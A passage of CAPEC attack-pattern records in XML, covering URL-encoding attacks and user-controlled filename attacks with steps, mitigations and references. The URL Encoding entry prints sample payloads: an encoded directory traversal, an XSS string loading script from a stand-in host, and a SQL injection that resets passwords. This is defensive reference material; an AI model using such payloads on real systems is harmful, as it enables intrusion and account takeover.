					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697<!--Insufficient Comparison--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>692<!--Incomplete Blacklist to Cross-Site Scripting--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>PeerOf</Relationship_Nature>
					<Relationship_Target_ID>64<!--Using Slashes and URL Encoding Combined to Bypass Validation Logic--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>PeerOf</Relationship_Nature>
					<Relationship_Target_ID>79<!--Using Slashes in Alternate Encoding--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>PeerOf</Relationship_Nature>
					<Relationship_Target_ID>72<!--URL Encoding--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>PeerOf</Relationship_Nature>
					<Relationship_Target_ID>43<!--Exploiting Multiple Input Interpretation Layers--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>267<!--Leverage Alternate Encoding--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Relevant_Security_Requirements>
				<Relevant_Security_Requirement>
					<Text>Canonicalize data prior to performing any validation or filtering on it.
						Be aware of alternate encodings.</Text>
				</Relevant_Security_Requirement>
			</Relevant_Security_Requirements>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>Medium</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Medium</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>CWE - Input Validation</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-03-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Eugene Lebanidze</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-26</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-05</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Name,
							Related Attack Patterns</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2009-02-10</Modification_Date>
						<Modification_Comment>Created draft content for detailed
							description</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital Federal, Inc</Modifier_Organization>
						<Modification_Date>2009-04-13</Modification_Date>
						<Modification_Comment>Reviewed and revised content for detailed
							description</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="72" Name="URL Encoding" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>This attack targets the encoding of the URL. An attacker can take
						advantage of the multiple way of encoding an URL and abuse the
						interpretation of the URL. An URL may contain special character that need
						special syntax handling in order to be interpreted. Special characters are
						represented using a percentage character followed by two digits representing
						the octet code of the original character (%HEX-CODE). For instance US-ASCII
						space character would be represented with %20. This is often referred as
						escaped ending or percent-encoding. Since the server decodes the URL from
						the requests, it may restrict the access to some URL paths by validating and
						filtering out the URL requests it received. An attacker will try to craft an
						URL with a sequence of special characters which once interpreted by the
						server will be equivalent to a forbidden URL. It can be difficult to protect
						against this attack since the URL can contain other format of encoding such
						as UTF-8 encoding, Unicode-encoding, etc. The attacker could also subvert
						the meaning of the URL string request by encoding the data being sent to the
						server through a GET request. For instance an attacker may subvert the
						meaning of parameters used in a SQL request and sent through the URL string
						(See Example section).</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker accesses the server using a specific
												URL.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker tries to encode some special
												characters in the URL. The attacker finds out that
												some characters are not filtered properly.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker crafts a malicious URL string request
												and sends it to the server.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="4">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The server decodes and interprets the URL string.
												Unfortunately since the input filtering is not done
												properly, the special characters may have harmful
												consequences.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The application should accepts and decodes URL input.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The application performs insufficient filtering/canonicalization on the
						URLs.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>Protocol Manipulation</Method_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Attack Example: URL Encodings in IceCast MP3 Server.</Text>
						<Text>The following type of encoded string has been known traverse
							directories against the IceCast MP3 server9:</Text>
						<Text>http://[targethost]:8000/somefile/%2E%2E/target.mp3 </Text>
						<Text>or using </Text>
						<Text>"/%25%25/" instead of "/../".</Text>
						<Text>The control character ".." can be used by an attacker to escape the
							document root.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-2001-0784</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Cross-Site Scripting</Text>
						<Text>URL-Encoded attack:
							http://target/getdata.php?data=%3cscript%20src=%22http%3a%2f%2fwww.badplace.com%2fnasty.js%22%3e%3c%2fscript%3e</Text>
						<Text>HTML execution: &lt;script
							src="http://www.badplace.com/nasty.js"&gt;&lt;/script&gt;</Text>
						<Text>From "URL encoded attacks", by Gunter Ollmann -
							http://www.cgisecurity.com/lib/URLEmbeddedAttacks.html</Text>
					</Example-Instance_Description>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>SQL Injection</Text>
						<Text>Original database query in the example file - "login.asp": SQLQuery =
							"SELECT preferences FROM logintable WHERE userid='" &amp;
							Request.QueryString("userid") &amp; "' AND password='" &amp;
							Request.QueryString("password") &amp; "';"</Text>
						<Text>URL-encoded attack:
							http://target/login.asp?userid=bob%27%3b%20update%20logintable%20set%20passwd%3d%270wn3d%27%3b--%00</Text>
						<Text>Executed database query: SELECT preferences FROM logintable WHERE
							userid='bob'; update logintable set password='0wn3d';</Text>
						<Text>From "URL encoded attacks", by Gunter Ollmann -
							http://www.cgisecurity.com/lib/URLEmbeddedAttacks.html</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>An attacker can try special characters in the URL and bypass the URL
							validation.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>The attacker may write a script to defeat the input filtering
							mechanism.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>An attacker can manually inject special characters in the URL string
							request and observe the results of the request.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>Custom scripts can also be used. For example, a good script for
							verifying the correct interpretation of UTF-8 encoded characters can be
							found at
							http://www.cl.cam.ac.uk/~mgk25/ucs/examples/UTF-8-test.txt</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>Automated tools such as fuzzer can be used to test the URL decoding
							and filtering.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Indicators-Warnings_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>If the first decoding process has left some invalid or blacklisted
							characters, that may be a sign that the request is malicious.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>Traffic filtering with IDS (or proxy) can detect requests with
							suspicious URLs. IDS may use signature based identification to reveal
							such URL based attacks.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
			</Indicators-Warnings_of_Attack>
			<Obfuscation_Techniques>
				<Obfuscation_Technique>
					<Description>
						<Text>Sometime the percent escaping can be used to obfuscate the attack
							itself.</Text>
					</Description>
				</Obfuscation_Technique>
				<Obfuscation_Technique>
					<Description>
						<Text>Alternative method of data encoding can be used.</Text>
					</Description>
				</Obfuscation_Technique>
				<Obfuscation_Technique>
					<Description>
						<Text>Obfuscation technique such as IP address encoding can also be used
							(See reference section : "URL encoded attacks", by Gunter
							Ollmann).</Text>
					</Description>
				</Obfuscation_Technique>
			</Obfuscation_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Refer to the RFCs to safelly decode URL.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Regular expression can be used to match safe URL patterns. However, that
						may discard valid URL requests if the regular expression is too
						restrictive.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>There are tools to scan HTTP requests to the server for valid URL such as
						URLScan from Microsoft
						(http://www.microsoft.com/technet/security/tools/urlscan.mspx).</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Any security checks should occur after the data has been decoded and
						validated as correct data format. Do not repeat decoding process, if bad
						character are left after decoding process, treat the data as suspicious, and
						fail the validation process.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Assume all input is malicious. Create a white list that defines all valid
						input to the software system based on the requirements specifications. Input
						that does not match against the white list should not be permitted to enter
						into the system. Test your decoding process against malicious input.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Be aware of the threat of alternative method of data encoding and
						obfuscation technique such as IP address encoding. (See related guideline
						section)</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>When client input is required from web-based forms, avoid using the "GET"
						method to submit data, as the method causes the form data to be appended to
						the URL and is easily manipulated. Instead, use the "POST method whenever
						possible.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Denial of Service-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>DoS: resource consumption
						(memory)</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>173<!--Improper Handling of Alternate Encoding--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>177<!--Improper Handling of URL Encoding (Hex Encoding)--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>171<!--Cleansing, Canonicalization, and Comparison Errors--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>172<!--Encoding Error--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>73<!--External Control of File Name or Path--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>21<!--Pathname Traversal and Equivalence Errors--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>74<!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>PeerOf</Relationship_Nature>
					<Relationship_Target_ID>79<!--Using Slashes in Alternate Encoding--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>PeerOf</Relationship_Nature>
					<Relationship_Target_ID>71<!--Using Unicode Encoding to Bypass Validation Logic--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>PeerOf</Relationship_Nature>
					<Relationship_Target_ID>43<!--Exploiting Multiple Input Interpretation Layers--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>267<!--Leverage Alternate Encoding--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Reluctance to Trust</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Purposes>
				<Purpose>Penetration</Purpose>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Medium</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>SOA</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>CWE - Input Validation</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>URL encoded attacks, by Gunter Ollmann -
							http://www.cgisecurity.com/lib/URLEmbeddedAttacks.html</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>Uniform Resource Identifier (URI): Generic Syntax, RFC 3886 -
							http://www.ietf.org/rfc/rfc3986.txt</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>URL Uniform Resource Locators (URL) RFC -
							http://rfc.net/rfc1738.html</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>URL encoding reference -
							http://www.w3schools.com/tags/ref_urlencode.asp</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>The URLEncode and URLDecode Page -
							http://www.albionresearch.com/misc/urlencode.php</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>David Wheeler - Validating URIs -
							http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/filter-html.html#VALIDATING-URIS</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-03-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Eric Dalci</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-13</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-07</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Related
							Attack Patterns</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="73" Name="User-Controlled Filename" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attack of this type involves an attacker inserting malicious characters
						(such as a XSS redirection) into a filename, directly or indirectly that is
						then used by the target software to generate HTML text or other potentially
						executable content. Many websites rely on user-generated content and
						dynamically build resources like files, filenames, and URL links directly
						from user supplied data. In this attack pattern, the attacker uploads code
						that can execute in the client browser and/or redirect the client browser to
						a site that the attacker owns. All XSS attack payload variants can be used
						to pass and exploit these vulnerabilities.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The victim must trust the name and locale of user controlled
						filenames.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Modification of Resources</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Phishing attacks rely on a user clicking on links on that are supplied
							to them by attackers masquerading as a trusted resource such as a bank
							or online auction site. The end user's email client hosts the supplid
							resource name in this case via email. The resource name, however may
							either 1) direct the client browser to a malicious site to steal
							credentical and/or 2) execute code on the client machine to probe the
							victim's host system and network environment.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To achieve a redirection and use of less trusted source, an attacker
							can simply edit data that the host uses to build the filename</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Deploying a malicious "look a like" site (such as a site masquerading
							as a bank or online auction site) that the user enters their
							authentication data into.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>High</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Exploiting a client side vulnerability to inject malicious scripts
							into the browser's executable process.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Use browser technologies that do not allow client side
						scripting.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Ensure all content that is delivered to client is
						sanitized against an acceptable content specification.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Perform input validation for all remote content.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Perform output validation for all remote content.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Disable scripting languages such as Javascript in
						browser</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Scan dynamically generated content against validation
						specification</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Denial of Service-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>Payload delivered through user controlled filename.</Text>
			</Injection_Vector>
			<Payload>
				<Text>Command(s) executed directly on host</Text>
			</Payload>
			<Activation_Zone>
				<Text>Client machine and client network</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Enables attacker to execute server side code with any commands that the
						program owner has privileges to.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>184<!--Incomplete Blacklist--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>96<!--Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>348<!--Use of Less Trusted Source--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>116<!--Improper Encoding or Escaping of Output--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>350<!--Improperly Trusted Reverse DNS--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>86<!--Improper Neutralization of Invalid Characters in Identifiers in Web Pages--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697<!--Insufficient Comparison--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>63<!--Simple Script Injection--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>165<!--File Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Penetration</Purpose>
				<Purpose>Exploitation</Purpose>
			</Purposes>
